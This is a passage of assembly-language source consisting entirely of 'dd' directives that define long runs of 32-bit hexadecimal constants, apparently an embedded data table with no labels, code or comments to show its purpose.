7079868Eh, 0FB5A645Dh, 0AD133317h dd 0E85F8CF9h, 7E25B571h, 0AF8C2103h, 8813F2D7h, 39D9CA2Eh dd 34A1BC8h, 296471E1h, 0CC8595CFh, 63361C2Ah, 0B8C6C02Eh dd 6AD967F6h, 466C46FAh, 655AC6EBh, 0A63A360Fh, 0C4DB3053h dd 96B93148h, 343A8C9Fh, 7B68C913h, 50F18ED0h, 0B479DBA3h dd 0AA515B84h, 0DEECEC8Dh, 58EB6807h, 225C1307h, 0B0F89715h dd 0C7216685h, 55741AA4h, 0B13FABBCh, 747C9E5Ah, 0BB1F6F62h dd 42C0CC26h, 337E8704h, 373AA5C1h, 0A77C3F52h, 0CECF4DDh dd 0C18BEC34h, 4F2572C9h, 0A66D133Fh, 20A8B670h, 83FDEA0Ch dd 2935C3C7h, 88D1A867h, 0E5480B1Eh, 0FCF1B87Bh, 42EB10D4h dd 0E4592E20h, 2AC24784h, 64C1631Dh, 0B4D7F0F5h, 316EAFB1h dd 0AF54DF63h, 2FF134B4h, 0F309DAB1h, 0EDA7FEE3h, 642B95C9h dd 0E2ADC773h, 1F488CACh, 0AC282C1Bh, 8A4AC6F4h, 0ED3F720Bh dd 30A6B519h, 0C117BA80h, 0CABF85EAh, 79BB601Dh, 796B9638h dd 79AE8F4Bh, 0BE5B93E6h, 0E5541389h, 807F021h, 0DB2BEFE8h dd 0C3C96AE6h, 2E0B00D6h, 1F15C84Bh, 7B0B5079h, 0AC47A5E2h dd 9959A104h, 0CA9C5D86h, 20090D8Bh, 74C1606Fh, 79DA49F2h dd 26DB0D6h, 266D79CAh, 0B2F59823h, 0F626241Eh, 0A79F105Fh dd 5DF40B69h, 0EBB066A5h, 2BF961B0h, 16892217h, 0E31ED9A8h dd 0BFC3AF1Fh, 0B5B1C720h, 1F9A92h, 0C5EBB2D4h, 287D3CDEh dd 0EA45B13Eh, 713A95C1h, 0CB58CE3Dh, 62CB1B1Ah, 0BC096936h dd 524B754Dh, 6B809DD0h, 70EEDE25h, 0A1EE7B41h, 0DFAAF892h dd 9CF20EDDh, 3745E938h, 0F108BA71h, 2A642377h, 0FBAA4C8Dh dd 3C47F661h, 0D2055EEFh, 38EE6D3Bh, 0C3C4E27Dh, 0E6AA5EB4h dd 0B83F0280h, 2A761ECh, 657EA05Ah, 0F4F61C0Eh, 981161CFh dd 0C380A51Eh, 6F4837ACh, 31B3F0Bh, 938C3B4Dh, 4E771167h dd 4FDEA72Bh, 95143837h, 8D0D43E3h, 0A872D968h, 0E9C2F7C8h dd 2FD5E5A8h, 7728EA43h, 0FD26381Ah, 5CA317D5h, 522956DAh dd 0BD08B764h, 0E61E0739h, 32856252h, 6C2FE9CDh, 719FFEDBh dd 0BED3E82Dh, 3D5FF418h, 0B600A6F1h, 0BD659662h, 8F00F291h dd 0B66FE1F0h, 6AB6506Dh, 8F018152h, 0D4F85188h, 0ECA967EEh dd 58641175h, 73B86384h, 2DC4D3Eh, 0F9BA59AEh, 0BFADA06Eh dd 7D1D5D26h, 0A645373Eh, 52BE8E55h, 0D0BD3FBh, 66C08383h dd 5B6762BDh, 92B44DCEh, 0A96EAE5Eh, 9E97341h, 8005BEA8h dd 822D83ECh, 16ED548Ah, 52E1ED2Ch, 3D191EA4h, 0CD17E472h dd 0B6ADEBABh, 86585771h, 0F34A5D0Ah, 33D073CCh, 0E6E0E426h dd 5B25727h, 71CF5E8Ch, 9CAAE684h, 0F876561Bh, 0DBA7514Eh dd 0B66066B3h, 71905C15h, 0AE22BA2Eh, 81795C23h, 1F517D34h dd 98B448h, 8FC2F1F1h, 9B9558D7h, 0DE637C2Eh, 0DF049D07h dd 205B4C92h, 8A333623h, 422F99B9h, 1F17439Eh, 0DD4A2FC0h dd 0ECAF8FFCh, 60959811h, 1260D607h, 8AFD20F5h, 69DCE86Ah dd 0D3FFC685h, 7C9073B7h, 0B6BBE0A0h, 9B43675Dh, 0C2EAD42Ah dd 0ADC5BBEDh, 75ABFF07h, 3D590AFFh, 4AB591FBh, 62AEA7F2h dd 3F075Bh, 0F225B24Eh, 0A662AB9Fh, 8817ED84h, 0FF3DB1B8h dd 9A9501F5h, 1EEA62D5h, 0C4F4C594h, 36EADD3Ch, 5EADCA00h dd 0EE13D7E9h, 971526C9h, 8CFCAF64h, 97E38DF4h, 0AD388AF2h dd 3E55C09Dh, 80E34F39h, 6E75E874h, 9635841Eh, 7DD59041h dd 9721D8E4h, 0D86ED188h, 0A78B79E4h, 89C92632h, 0F8319F29h dd 9CA64784h, 8790A75Eh, 0CDA1BFDh, 16553AEh, 163AFE7h dd 5D82D659h, 9897F1E2h, 5255BE9Ch, 32B81885h, 6FA49E6Bh dd 9EBFA1AFh, 0A67240BAh, 0CA598456h, 1F1C7C69h, 0D7778B9Dh dd 0E8CCD1BAh, 0D3D454E2h, 28DAEBA3h, 0A4B5D73Ah, 11D50759h dd 0E09B8C16h, 0CF0DE94Fh, 35132653h, 0D59ADC0Fh, 35C5B73Ch dd 5D5C7E79h, 0A612A9DAh, 682B70A4h, 0C383C909h, 8B1E7227h dd 0B0D8D38h, 0F91348AAh, 520E6DADh, 1719FA5Ch, 32FA4CD7h dd 0A5B005A6h, 0FC63DD44h, 92784DB1h, 0E91C79E3h, 73359C23h dd 0FC0853Eh, 0C81BC350h, 10D5BCA6h, 0A6EAD584h, 0B3BB79CAh dd 0BAE9DE07h, 888381D8h, 18DBBB9Dh, 4AACD1AEh, 0C8273B17h dd 7AABB02h, 3B33A225h, 3B2D5556h, 664E454Bh, 17C07455h dd 4A3809BEh, 0A764A284h, 0BE905C2Dh, 5DB8F35Fh, 3DC232B7h dd 0E3DC14EDh, 6F4BD20Fh dd 0DBA98FC9h, 432A480Ah, 60074D06h, 0F987CE83h, 0F18875E8h dd 0C281984h, 7BC22753h, 7567B19Bh, 568325F3h, 68C39048h dd 26F4F418h, 14D56ABBh, 0E06B2593h, 0B34C8C32h, 1ABF1484h dd 8CD93563h, 0CE3C806Ch, 0D0ECE880h, 8C47A68Bh, 93B211C5h dd 7AD38725h, 24106930h, 0F0E1496h, 4FEA2398h, 97343A5Fh dd 7736FE0Bh, 5E339CF0h, 2821C22Eh, 663FEE18h, 36405D93h dd 77177F5Ah, 12134413h, 67AB1588h, 0F2567F2Bh, 4E7ECE06h dd 0B871E6E5h, 484F4D4Ch, 72DCAE72h, 0C3DE0465h, 578F4595h dd 6731CDBFh, 8A55E46Ah, 8EF9EDF6h, 1570851Ch, 2831B5C3h dd 3359A15h, 0B35E69Fh, 22E49018h, 0B2E7D287h, 821B8149h dd 0BCADFA9Fh, 4957AF80h, 11694FFCh, 0AA717116h, 83ADF06Dh dd 45764F03h, 0FBA750F0h, 3FC36E0h, 94B211B8h, 0CE81112Fh dd 0BE5F892Dh, 0E2229082h, 0EE981F1Ch, 0D54E53C1h, 0E563B9B2h dd 7D351553h, 79DBDAADh, 67A7D476h, 0F953696Dh, 290E62D0h dd 0FB02D01Dh, 4E234EAEh, 0D2A3FF6Bh, 0B4108380h, 7C3F3FC0h dd 0E91031CFh, 0D610A477h, 5D11A481h, 440AA98Bh, 9E275CADh dd 0A1FD1A22h, 1BF3F174h, 4B7F5A1Ch, 0A3B20D56h, 6240DCCBh dd 0B0BB68Ch, 4D0D1871h, 447848Bh, 0B7BEB4F3h, 88FAE184h dd 0F9E39AB1h, 4149342Eh, 5EC8C96Dh, 0FF397CD5h, 1C9E48A3h dd 64CA8431h, 0D7C56D9Ah, 0FCE8B8CAh, 4E5AD5F1h, 19119BC3h dd 0E753E845h, 0DF6621A4h, 0E63AE4E0h, 60C3C956h, 0E81537B9h dd 0B0776C93h, 55A966DCh, 682637DBh, 563B4E2Ch, 0F63D2593h dd 0ABE3FFB0h, 72FE5F28h, 2CE0677h, 0D11EEA83h, 6A979152h dd 93EEA5AEh, 0B131D206h, 1A8AD9E4h, 7669E30Bh, 4274F77Bh dd 0C38C942Dh, 7861B8D6h, 0A968415Ah, 25E59192h, 610EC9B4h dd 0FC2DE710h, 7A52573Dh, 4F09C79Eh, 0D9B356C0h, 0B20AA052h dd 0BD3E8717h, 0F28ACEE5h, 4DC6CA9Eh, 38651DB9h, 647924D5h dd 0E5C7563Bh, 0D3D98F56h, 0B03C8EB8h, 7B1912CFh, 14A08624h dd 0F172E100h, 9DE0013Ch, 0ED122EE3h, 368CCC58h, 3566A954h dd 1F09CABDh, 0AADB34B8h, 5FA2CF08h, 0EE3B8381h, 0DF12DE23h dd 0E23DE735h, 97DD7EE9h, 9B73DE89h, 58E8DB74h, 9D8B3BF4h dd 8954DBF7h, 7909DE80h, 0EFCE3522h, 98687C4Ah, 107A645Bh dd 7A647384h, 0CCF5C00Bh, 0ABDC178Ch, 94D270A3h, 79E2FC25h dd 22AB513Eh, 0FA8A82DCh, 478236D7h, 1A3EDE5Fh, 512FFC2Dh dd 7CD2AECFh, 7CFFA8ADh, 2649B41Ah, 43FF803h, 0F73A7E81h dd 0A287F24Dh, 0BAAFBBD1h, 98FFC8DEh, 0A2D01B37h, 60AB69A9h dd 3BC02E6h, 977C285Eh, 96579AEEh, 71298917h, 5387BEF7h dd 7C6CE2F5h, 0FB1B87ABh, 0BA28C0D3h, 0F658992Ah, 489BC142h dd 0A0A277BFh, 0E6153B2h, 5B360246h, 4521412Ch, 0F05AA118h dd 616B7C24h, 7AF76702h, 0FEB97184h, 5A846722h, 0F94663E8h dd 5258B45Fh, 17855536h, 0D3F38FC9h, 4203A32Ch, 0ADD4F06Eh dd 0A4959346h, 0C4A75B22h, 28973C07h, 0E1F104EBh, 0B5E30E72h dd 0B46FBEEAh, 45E2819Fh, 8CD2ACBAh, 0D5CC0562h, 0C7F35824h dd 2A9E289Bh, 4E47081Dh, 0ADDA4907h, 0B7CFC031h, 44DD0C05h dd 696CA0C2h, 6ABE43B3h, 47453D56h, 6A70B2CFh, 5F4A669Ch dd 0AF0F1666h, 4C2CBB49h, 53F61DEEh, 0FE4A07C7h, 0F0523B67h dd 86D9331Fh, 4D670958h, 0BFF138B4h, 87DDEF01h, 0AF880B35h dd 8526867Eh, 6C4657C4h, 3FDD826Ah, 0A303CDE3h, 0F1B36562h dd 9BA581F5h, 4817628Ch, 0F0592232h, 6C1E81C8h, 0BB9614E9h dd 9FAFD01Eh, 8AFC985Ch, 5B17C788h, 1349974Bh, 0D921A8CCh dd 2B7CECDCh, 49A8BE6h, 2F65AA40h, 0EFBD326Fh, 4946A134h dd 0C8F9C299h, 0EC96A2C5h, 38D5F375h, 39EA1C9Bh, 0D0591629h dd 9D68105Bh, 0E6EB4A9Ah, 9DBC99ECh, 81529065h, 0B227E559h dd 0F451CB81h, 85DBDCFFh, 68907A6Bh, 11DEAC4Ah, 8ECEF96Dh dd 38440A9Bh, 0C685865Ah, 668A5A91h, 77E7FC6Fh, 0F44ED972h dd 7CA11F09h, 0FDF14CFFh, 47E1358Bh, 933F4DCDh, 0DD79D007h dd 0A23C9160h, 0B54F4F31h, 7F0ED37Fh, 86C8BB40h, 510DF92Eh dd 0F1EEED1Eh, 15A62198h, 5668BA20h, 24226422h, 2C303FFDh dd 0E90F1819h, 700CE779h, 0DB026897h, 53022CAAh, 4C646524h dd 0E1C63458h, 837E3C7Ch, 7B3479C7h, 0B8309FF2h, 83EEDF49h dd 2B2CC1BDh, 851FFB5Bh, 84B6AEA2h, 8C4D27BAh, 0B0C8690Eh dd 0EBF1DAF2h, 0E3DF527Ah, 0F5C5FF20h, 7455A222h, 0BF8982B9h dd 0BE9A385h, 828D56E7h, 4F0CDEBCh, 0A75C7D5Bh, 0A7A64DE6h dd 5F02E439h, 0BD219229h, 0A69B2B9Bh, 72D7AA12h, 0A93036E4h dd 0CD001CBh, 0B30F2832h, 0D3A8EEBBh, 0FF20D739h, 7226BB49h dd 0BD9B2061h, 27C9582Bh, 0DB0AC30Bh, 57998B64h, 4BEA8923h dd 0A66FBE01h, 0B13176F2h, 784B2F75h, 84D9F534h, 0B85EE89Ch dd 8D69385Dh, 0FC09AE0Dh, 0AD9EDF33h, 6A2E84ECh, 0E82DE771h dd 0CFEA5E08h, 6F9C102Fh, 0ACF0E60h, 28096439h, 601071C3h dd 2E278D5Fh, 0EB927FC2h, 9FB38D71h, 73A7CADFh, 0A7920695h dd 7942DE48h, 0A0C0BC21h, 689527ECh, 6A7E8D2Ah, 363513F3h dd 0AC51A228h, 0DAB720EEh, 0B72BB31Ah, 8BB4EB2Bh, 68D292DDh dd 0D6600939h, 8CFD7CC2h, 545BA695h, 430D3968h, 0B41856A8h dd 277BE1F4h, 0BC23DF97h, 1BD4D7D4h, 5C7090C5h, 30C36FBCh dd 11948272h, 165CB4C2h, 5EA4F17Ah, 4C56661Bh, 285B2DECh dd 6A778D6h, 0F1C98144h, 9E2A5521h, 0DE89BE42h, 4336B3D0h dd 0CF3DD74Bh, 6F2E330Eh, 8DBFFE27h, 25AB6E80h, 0F7494D0Ah dd 386102F8h, 87065993h, 823BC4D7h, 0D4E5725Dh, 536F765Fh dd 0FD7D94D0h, 0D544AF6Ch, 94D8F848h, 5DEBEEDh, 0DF3D307Ch dd 612A9967h, 9BB5EBBAh, 6ABE6312h, 0DBFB293Ah, 941E5C99h dd 66E6A44Eh, 0B61398B9h, 2F45C608h, 137440C9h, 99B5555Dh dd 42A1906Ch, 171C55E8h, 0FF8C71B0h, 38078BF7h, 475DD878h dd 0F494790Eh, 0C1B05061h, 9AF3F90Dh, 3551E31Dh, 7DA6B0CDh dd 20520041h, 341D8875h, 0D970A7DCh, 0FF14552Bh, 9AE4DAB6h dd 0DE0E7A5h, 0CBF1F35Eh, 41AFAECAh, 4DD424F1h, 11B505ADh dd 73F6624Bh, 0D8A6A7EBh, 4716A4E1h, 0FBBCF3AFh, 0DAFC7EBDh dd 49C80D25h, 54010AF5h, 2D0D714Bh, 0F33163ECh, 7EBDB0D2h dd 0B08D9737h, 858535B0h, 3CCE7768h, 0A93F92DDh, 0C0C0083Eh dd 2A92073Fh, 0D00D83E2h, 7C2DD76Ch, 0E83526FBh, 3B53E1CFh dd 36DB052Bh, 0D3D315FDh, 320023DBh, 0FBAFD004h, 81BC99E2h dd 0D46BFE60h, 0EB4D109Ch, 0C64CA5F1h, 0FA0DB4BAh, 5570AB0Ch dd 7D00073Eh, 6D93E71h, 16BB96B0h, 0D066E73h, 5CBB36C2h dd 0ED2BA094h, 36F1D650h, 0D76B1AB6h, 75EE0D1Eh, 74EEC255h dd 7A717291h, 17A2D5C2h, 0F4308859h, 0B903C76h, 3F6E1993h dd 1F1634C6h, 3232964Ah, 0A8D5D81Bh, 396D68C8h, 72390518h dd 37077144h, 0FD269F66h, 60AA66B5h, 202B60Dh, 0C8B90172h dd 0D6E9E49Fh, 9994B421h, 5039F502h, 2ECD4BACh, 42C1ABE0h dd 0A10052E5h, 0D13955A2h, 996939DDh, 0B7249A02h, 17E81B6Dh dd 8EF5509Fh, 0ED9EE6DCh, 0B0A67BDEh, 6C6BE1ABh, 61DEA3EDh dd 0E5AFF1B3h, 0F6737DACh, 31B54944h, 341B1B92h, 0D623BBACh dd 5744877Ah, 1C887914h, 0FB4747E5h, 0A9E560EEh, 1FAC400Ah dd 4433B8E4h, 2D894F0Eh, 0A95F29A9h, 4D2E5011h, 0F9B2972Dh dd 32D8C2Ch, 462B6121h dd 0A664C12Dh, 58925E75h, 45DD1B90h, 0AB9FF502h, 0C9637389h dd 4AB07649h, 0F85C14A7h, 8CD4EF6Bh, 5AF68BDEh, 3BE1A1D8h dd 0C9606DBEh, 0C79809E8h, 0E229F01Ah, 6525CBCDh, 70010C49h dd 97C21EF7h, 4AE1454h, 8EBA475Fh, 0AABAE976h, 969A2B0Dh dd 0A991319Ah, 0BF441864h, 0EBE1A528h, 2054700Ch, 0CCB4EBBh dd 0D54D0D52h, 3C9F2920h, 0A68DAFC5h, 278257Ch, 0F49D59DAh dd 9C91E213h, 0A12E3E5Dh, 5AC530F9h, 0C0B04A3Bh, 89F4D11Ch dd 6F80C29Fh, 90A4EFE4h, 0D814948Dh, 0E6A48476h, 0B32C4A43h dd 0A8022D71h, 9079CF84h, 0CC0D3B43h, 0CF3AD5E6h, 0A1CC6D2Bh dd 0F592F565h, 0A5EA284Eh, 47803782h, 0A56E1F44h, 182EFAF0h dd 0D793685Fh, 0E9FA6543h, 0DA5CD7CFh, 0E08535Ah, 32141583h dd 7887998Dh, 0C58EA44Ah, 757698D9h, 0E575F538h, 5F2B03E6h dd 0B0BEC78Eh, 7BB7542Dh, 808C6FEDh, 47B031Bh, 87BCF218h dd 0C90646FBh, 7DEB0F53h, 0FBAFF23h, 9D7EF4B9h, 6771861Eh dd 0BD62C18h, 0C5055DE1h, 0B2100020h, 50611A42h, 4BD3BE39h dd 8FC4766Dh, 230D8895h, 0DC166514h, 0E8EE0116h, 0B604025Ah dd 0A8FB468Dh, 1C6F2AC1h, 516BB4A0h, 0E024C06Eh, 0C7ED485Ah dd 3EC32CEFh, 0CA2F51ADh, 6033A1CAh, 57028961h, 92AA8991h dd 528E02BBh, 28F40C0Ah, 0EAF969CDh, 0D5313AC2h, 91430EB9h dd 0D981A869h, 0EEBDCEE1h, 0BE152BBh, 0E62C5058h, 3F69C04Ch dd 3CC33731h, 0C192F685h, 0E1B98DDAh, 2E437307h, 0ABB61E91h dd 77DD40E3h, 0A87FEE89h, 9019C967h, 0ABA266A4h, 0AB8F79B0h dd 69ABA4CEh, 0E4CE525Ch, 5A7D196h, 33ECFC9Ch, 0AC43533Fh dd 0DDD748CBh, 334A8A37h, 0C7A81F59h, 39AD0D2Bh, 0D8EA72D8h dd 0E3DBF911h, 0A36381F7h, 759A4A0Ah, 8B0A1F48h, 0AA397DB6h dd 0D61DCB47h, 0F917ECD0h, 90AEFA52h, 622D647Dh, 0C522404Eh dd 0B4F337Fh, 2EA4400Eh, 8CD99B4Ah, 57ADC6F6h, 7BA7608h dd 0C712CB3Bh, 298D0615h, 0D1A43DBBh, 981663C5h, 80F30B8Ch dd 6F6B4A16h, 84BE8F7h, 7FE8CEC9h, 656C1369h, 0D9424553h dd 46EFB577h, 0C0AE78C8h, 9511FEFBh, 4A650B20h, 0AEE4A0D0h dd 37CE9A6Ch, 0F017773Dh, 3A84891Bh, 7E3A6B9h, 0BFDC5EF8h dd 9BA9B799h, 0EB3DEF7Eh, 0FE9E75C2h, 8FE7603Dh, 66776468h dd 1639771Bh, 82288A15h, 75721E1Fh, 7E450190h, 0E2DB6F6h dd 96DDB066h, 6429A4EEh, 0BD1700F8h, 853BDFA4h, 0B8E01448h dd 1936613Ah, 5EC883A3h, 187E88F6h, 4037A037h, 733C2226h dd 611FA9ECh, 177FC03Dh, 0E74BA6Bh, 2C9A0F4Fh, 9231A4CCh dd 819E54B7h, 4CB0F76Dh, 0AFEEC029h, 0CE9DA09h, 2E468592h dd 81EB0C61h, 0BD9B1600h, 3D2D43E5h, 0F7691BBCh, 873A1BAEh dd 0F0536144h, 0EBD12D65h, 0CC517600h, 607ACBC6h, 0CB1CDCEEh dd 72EC924h, 0D57DB014h, 0D2275BEDh, 0A67638FBh, 32DE838Fh dd 0DB5DEA11h, 0FE010537h, 577AC0C2h, 446E0EAh, 8F88712Ch dd 0A51561A1h, 0C5549DD3h, 0FBAD15DEh, 37FEB767h, 0F758F530h dd 9F7C3381h, 0C8937CECh, 0EBA4CB4Bh, 0C4A16FA4h, 0C5103743h dd 0B6FB74DFh, 9F1AB31Dh, 0D90F4FB2h, 6E513432h, 0ED719E66h dd 0F086FA71h, 65FAF925h, 53057248h, 4F6BD171h, 41A5367Dh dd 0F0FB3351h, 6AADFD9Ah, 5520353Fh, 11EF5E5Dh, 110585DFh dd 0DF423B32h, 73F0F3D8h, 0C01B046Ah, 7C5AE11Eh, 7FF7E867h dd 67F27C8Ah, 5DF6BACAh, 0BEF95CFEh, 8A0BE4CCh, 0CD9C2C24h dd 0BFF68733h, 0C35D9CAEh, 6774692Dh, 0AC4558D3h, 0A9A5BC4Fh dd 3A2AF40h, 4C5AFC9Eh, 0E389826Ah, 2EC047E7h, 0DC52D506h dd 5DACF256h, 0DFDA3157h, 0B10732B3h, 71290D21h, 749FAABBh dd 9A5F856h, 697EE463h, 0E2A20462h, 3B69549Eh, 16B57037h dd 44CDCECEh, 6CED3DE1h, 0E87F0500h, 9FEFCFA8h, 0FF905AB1h dd 0AF8B7ACFh, 60B89CE3h, 0E138C9A7h, 4553A5B8h, 0F85DA5E7h dd 91C46017h, 66B67092h, 47D7F5B7h, 0D8F0BBB0h, 9A791921h dd 6110F47Ch, 0C72E1D85h, 494756D8h, 0E40D7311h, 0F7DC2E13h dd 0B8FE2742h, 82268D91h, 1173DEAAh, 660BE7E3h, 4E32CB2Ch dd 0AEF07342h, 300D369Dh, 8526924Dh, 9E91858Ch, 18692D4Eh dd 1E99B031h, 4973BB38h, 4EED8E9Fh, 0FDCE6F3h, 7827E9DEh dd 6570683Ch, 0C2C2B482h, 0E8BF801Fh, 421F8C27h, 0B1A201F3h dd 698D324Ah, 9BD4FF0Bh, 0D9879E22h, 4C949FCh, 919058CAh dd 89932D5Ah, 0DC1B27Dh, 0B733C75Fh, 6FB4DAE1h, 37F0FE9Eh dd 0D8E57FAEh, 38A1A08Ch, 0AFE1522Bh, 0ECD6220h, 0CF20AB1Eh dd 0D9CDEDEh, 177F33F7h, 0E37FB850h, 0DEDF7004h, 8718094Eh dd 0B5D07FF9h, 339333E6h, 23849A29h, 0A7F90F95h, 0A7E8F284h dd 72B1DA77h, 0EA63DFB1h, 57770880h, 5E31421Bh, 5027DE53h dd 324F086Dh, 0C0279B1Ah, 7831E89Bh, 1B341FCFh, 750A19FAh dd 0B015A253h, 6FF229EFh, 7CCE48F3h, 0E39DEFA1h, 0AAC7ED9Ah dd 0E8ED29BCh, 8796BB9Eh, 0CF1D839h, 8FEF86DDh, 0D3234187h dd 0FC38ED16h, 8F845301h, 15AB0080h, 790CD920h, 6FB53F01h dd 8DCA7877h, 0A0154EA5h, 0BA3F6AB2h, 0A6D13315h, 0EE83C10Eh dd 0FFD7684Dh, 413C82Ch, 2B8D4AD2h, 16093224h, 4CED1029h dd 4E74F876h, 6821C787h, 0D2711957h, 7FA984CFh, 2FDD5278h dd 0DEBBCDA8h, 8C0BE50Bh, 25085BA1h, 0D4EFA2A9h, 0DE07A310h dd 235BD11Dh, 6C469D78h, 52E1E1C6h, 9B63382Ch, 71018F8Ch dd 2458223h, 0C15B3FA7h, 0B1EF679Ch, 0EFA351B6h, 0D58C570Dh dd 0FF033F4Dh, 0E77F942Eh, 607AB3B1h, 0DC2FBFC8h, 71518347h dd 4A5BD1A2h, 0C0C40548h, 0BBE6E7EAh, 886532A9h, 0AAE9CE0Eh dd 29C24D97h, 50A6664Ch, 0F7A93A4Dh, 38AC8BB4h, 0C06AC3D2h dd 0A1C60848h, 0EE583E59h, 3CFBF093h, 1697265Ah, 0F4E5AAF3h dd 5B284D65h, 133CC47Ch, 155BCCE5h, 7B63C31Dh, 0A396F601h dd 0DA17102Dh, 0BE15AED7h, 16DD3B60h, 3D8D8E20h, 0BA9E3929h dd 481BAC62h, 5469C0ACh, 7B4A14E8h, 0CFBBE7B6h, 1A820BECh dd 0A8CC613Ch, 0B086C0FEh, 0C02A65A6h, 0FF78E913h, 0CAFEAA78h dd 298146EAh, 0B32E939h, 4C3C4663h, 9617C16Dh, 72ED45D6h dd 12AF7020h, 66CEFB0Bh, 2690615h, 0E11CFAE1h, 8ED36424h dd 9643A26Dh, 0BE4528ECh, 0EA118C63h, 0DA472252h, 0D931783Bh dd 0A83208F6h, 1841B51h, 0B0016766h, 114BF37Ah, 0F73AC038h dd 73C87C01h, 8DFA570Ah, 8388CCDEh, 1D62CFA6h, 77953C3Ch dd 8A86B293h, 346A3802h, 175C048h, 16E8C853h, 1B90D29h dd 0D8177266h, 835B768Ah, 1096F9Fh, 126C4E41h, 699F9D24h dd 0EAE51280h, 365006C7h, 20F5EA2Dh, 2B3C3FA5h, 0F5F9039h dd 94CB5903h, 73204146h, 1708B28h, 0C9630290h, 0BFDCCAB6h dd 0BD8E64FDh, 6458155h, 1A86E52Fh, 59AB23F8h, 2BA65FF0h dd 755B8DA0h, 376733E5h, 2A0198h, 213D646Bh, 62A06AD1h dd 33E1EF04h, 2E77DB9Ah, 0BC811A77h, 15587867h, 950FD385h dd 96899F44h, 9EC5357h, 44A07ED7h, 0A9B015FBh, 4351C624h dd 0CC90B5D6h, 3A8B410Ch, 0DA69342Fh, 5BE5B1Eh, 0BA2896B1h dd 0BBAF675Eh, 530EE892h, 0B7756560h, 0BEF16EF6h, 1570BCC5h dd 0C647960Fh, 7603BAAFh, 0FA141944h, 8F6C7288h, 20BE575h dd 0A9AE10Bh, 8F3EFFC9h, 0ACA23905h, 0DC233810h, 5D0CE243h dd 38D81A56h, 3E5F8D2h, 0CCAE578Eh, 0F72220A5h, 12707854h dd 0C4631139h, 0D80F3B0Dh dd 9FD80D1Bh, 363ABC42h, 1972F95Dh, 9263515Dh, 260A99A1h dd 6D6A1F1Ch, 9CC20796h, 0A666FC97h, 0D7A0D6C2h, 94C95596h dd 5AF4926Bh, 0FFCDA92h, 8FEE7CE6h, 0EAC5DC95h, 24D4E7E2h dd 0F043B9D9h, 8341610Ch, 0E2B24605h, 4DED9596h, 94AB1C1Bh dd 0CFC62D0Fh, 0CC830F5Dh, 0B3047F0Ch, 71D16668h, 0C4038AA7h dd 65664C41h, 0B5628A57h, 4936490Ch, 63244C1Eh, 2B369FC6h dd 20AC7741h, 6A7247Fh, 2F89A587h, 0EDA3AF36h, 6F10AE48h dd 0F97ACA63h, 0CE4547D9h, 0AD930F19h, 0D8F9ADA8h, 521B3E5Fh dd 0D3091D22h, 0A6891EC2h, 4960F1DBh, 3CECD7Ah, 0B0DD468h dd 6CC47934h, 0CF0168E1h, 7C4348C2h, 7EADFCCCh, 0FE78AD3Fh dd 992A7147h, 0CA22668Eh, 38C1E221h, 6828E247h, 0D1FAA9D5h dd 4BC1E710h, 7E337FCCh, 0E40BF71Dh, 9A669BEh, 62293389h dd 9302B6DEh, 56FD5A9Fh, 0CD00E0Bh, 9F3697Ch, 0DB2CB2E0h dd 73AB8F8Ch, 42A18C0Eh, 0A0CAE66Eh, 9F979CE8h, 0DB2F85CCh dd 0F81F142Bh, 3DE0DC8Ah, 9E05001Ch, 9DFE414Ch, 0E7D1D3FAh dd 5FEA9A98h, 2941A949h, 0DC542E9Eh, 468E9B0Ch, 0B12E6BD1h dd 121E3E4Bh, 457D9800h, 800B2FB7h, 0DC5F473Ah, 82C8D9D3h dd 0EA60B98Bh, 0FD7FE8FDh, 0D08DE01Ah, 0AA9F70CCh, 0D5F2F782h dd 608E7FB2h, 802FC360h, 0BE9B8DF0h, 0A1B3E24h, 816C29BBh dd 93744EDEh, 0B073BBF0h, 0A3BA6120h, 7CC33308h, 4BBA7755h dd 20B1BCE6h, 0A61BFDC3h, 0B2FD1A2Ch, 0DFDC014Ch, 1074624Eh dd 2B02A657h, 364ED9BDh, 0B4138BF0h, 8871DD29h, 424B0C2Ch dd 3CB445BBh, 8C64D22Ah, 4812B347h, 181A9F12h, 0FE5D919Ch dd 6F0427A0h, 0B316C8ADh, 8EB572FEh, 2C907255h, 80A050C6h dd 0A460D8ABh, 75C3785Fh, 0B0B58FCh, 769D3979h, 62B13A84h dd 0E8538953h, 15959B48h, 242F19EFh, 7A9816FDh, 0DDCE0251h dd 3A8FF725h, 5C4A530Fh, 114800FBh, 0A153DC72h, 0D1390E58h dd 0E7CE2970h, 0F92D98C3h, 335E5179h, 0CBF33BDFh, 200AA454h dd 17A8CEE5h, 996C79D4h, 0E4CD24A8h, 0E33FDFC8h, 0C7FB5924h dd 55154472h, 39D9839Fh, 1F00C968h, 4AA5D58Ah, 2BD4DC13h dd 44392F1Dh, 2D3DE3B3h, 0C141C87Dh, 4BB08CECh, 1FA220CDh dd 53DDE840h, 0A1EA04A7h, 4E7861C1h, 72D193D6h, 0AA8A1BFAh dd 0E5B1F289h, 380566DCh, 803FE7E8h, 0EF76EBF6h, 9E4E4C2Dh dd 9E302553h, 0EAA30A9h, 0E1D23870h, 11ED88CAh, 68D66CBh dd 0A96604B2h, 43B23403h, 372C17E5h, 7A868CA0h, 41EA5DE0h dd 0BC8827D0h, 4CEF8171h, 4C6257FEh, 85EA6318h, 0C1841D1Dh dd 5B8EE9D6h, 9826FCF6h, 8BD14670h, 7D43837Dh, 86A07807h dd 0F559709Ah, 82CAF984h, 0EE3B9246h, 9302A9E8h, 63E3AFEBh dd 2CFDDE07h, 1BB33DEh, 0C23FE4BEh, 28F9755h, 4C36F6AFh dd 0EC0E9900h, 4FA99A4Eh, 974EB1E7h, 0DC8F7611h, 47D993Dh dd 17A0AB6Dh, 0C4255B6Bh, 7C32E605h, 0B66C1D60h, 4D0FF9C8h dd 0A7AB06Bh, 0B3651BDCh, 4074C271h, 0CB1B4EE2h, 224E7213h dd 47EE926Ch, 0A7FE2834h, 90E6EFA5h, 1A85A322h, 0F7D54EC0h dd 51D9859Ch, 6175BDA9h, 0E15B1FA3h, 79431AB4h, 97CB4997h dd 4D6E65F9h, 96B599Fh, 0D74B5E30h, 9C5CFC0h, 0DD9EE6BCh dd 0C24B0AAFh, 0FDB1C7AFh, 622CBCDh, 0CEEF5266h, 77F0BECCh dd 0CA77031Dh, 0A94C068Ch, 1BD09249h, 3023937Eh, 48C46DA9h dd 0B21502B3h, 0C7C41ABAh, 5A1EA56Ch, 5F027EA2h, 2491BBC0h dd 0D4D25654h, 0B5183CF8h, 9B1AD0D1h, 0A129A77Dh, 1D3D9316h dd 0A5036128h, 0FD218055h, 3A937929h, 0D895C316h, 34F427E5h dd 650BFBDFh, 0BE3B3BF5h, 56324E62h, 